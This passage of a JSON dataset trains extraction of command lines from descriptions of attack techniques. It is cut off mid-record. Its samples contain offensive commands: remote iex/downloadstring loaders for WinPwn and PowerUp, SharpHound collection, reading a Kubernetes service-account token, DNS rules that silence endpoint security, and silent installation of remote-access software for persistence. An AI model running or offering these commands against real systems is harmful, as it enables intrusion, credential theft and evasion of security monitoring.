    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To search for .NET binary files in a share, use the Dotnetsearch function of WinPwn with the following command:\niex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')\nDotnetsearch -noninteractive -consoleoutput",
    "output": "{\"command_list\": [\"iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')\\nDotnetsearch -noninteractive -consoleoutput\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    The system's language settings can be determined by executing this command: locale.",
    "output": "{\"command_list\": [\"locale\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To access the Kubernetes service account token inside a container, use the following command: kubectl --context kind-atomic-cluster exec atomic-pod -- cat /run/secrets/kubernetes.io/serviceaccount/token",
    "output": "{\"command_list\": [\"kubectl --context kind-atomic-cluster exec atomic-pod -- cat /run/secrets/kubernetes.io/serviceaccount/token\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    Virtual Channels allow modifying RDP behavior through Addins, which are DLLs executed during an RDP session. The DLLs load on the host system post successful connection. For this test, amsi.dll will be loaded during the session. Configure it using this command: reg add \"HKEY_CURRENT_USER\\Software\\Microsoft\\Terminal Server Client\\Default\\Addins\\#{Subkey_Added}\" /v Name /t REG_SZ /d \"#{dll_inf}\" /f",
    "output": "{\"command_list\": [\"reg add \\\"HKEY_CURRENT_USER\\\\Software\\\\Microsoft\\\\Terminal Server Client\\\\Default\\\\Addins\\\\#{Subkey_Added}\\\" /v Name /t REG_SZ /d \\\"#{dll_inf}\\\" /f\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To run the startup scripts defined in Group Policy, use the following command: Gpscript /startup",
    "output": "{\"command_list\": [\"Gpscript /startup\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To simulate DNS query redirection, adversaries can manipulate the Name Resolution Policy Table by using the following command: Add-DnsClientNrptRule -Namespace \".endpoint.security.microsoft.com\" -NameServers 127.0.0.1 -Comment \"Silenced by Name Resolution Policy Table\"\nAdd-DnsClientNrptRule -Namespace \"endpoint.security.microsoft.com\" -NameServers 127.0.0.1 -Comment \"Silenced by Name Resolution Policy Table\"\nClear-DnsClientCache",
    "output": "{\"command_list\": [\"Add-DnsClientNrptRule -Namespace \\\".endpoint.security.microsoft.com\\\" -NameServers 127.0.0.1 -Comment \\\"Silenced by Name Resolution Policy Table\\\"\\nAdd-DnsClientNrptRule -Namespace \\\"endpoint.security.microsoft.com\\\" -NameServers 127.0.0.1 -Comment \\\"Silenced by Name Resolution Policy Table\\\"\\nClear-DnsClientCache\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To establish long-term access, attackers frequently deploy UltraViewer with this command: Start-Process -Wait -FilePath \"#{UltraViewer_Path}\" -Argument \"/silent\" -PassThru\nStart-Process 'C:\\Program Files (x86)\\UltraViewer\\UltraViewer_Desktop.exe'",
    "output": "{\"command_list\": [\"Start-Process -Wait -FilePath \\\"#{UltraViewer_Path}\\\" -Argument \\\"/silent\\\" -PassThru\\nStart-Process 'C:\\\\Program Files (x86)\\\\UltraViewer\\\\UltraViewer_Desktop.exe'\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    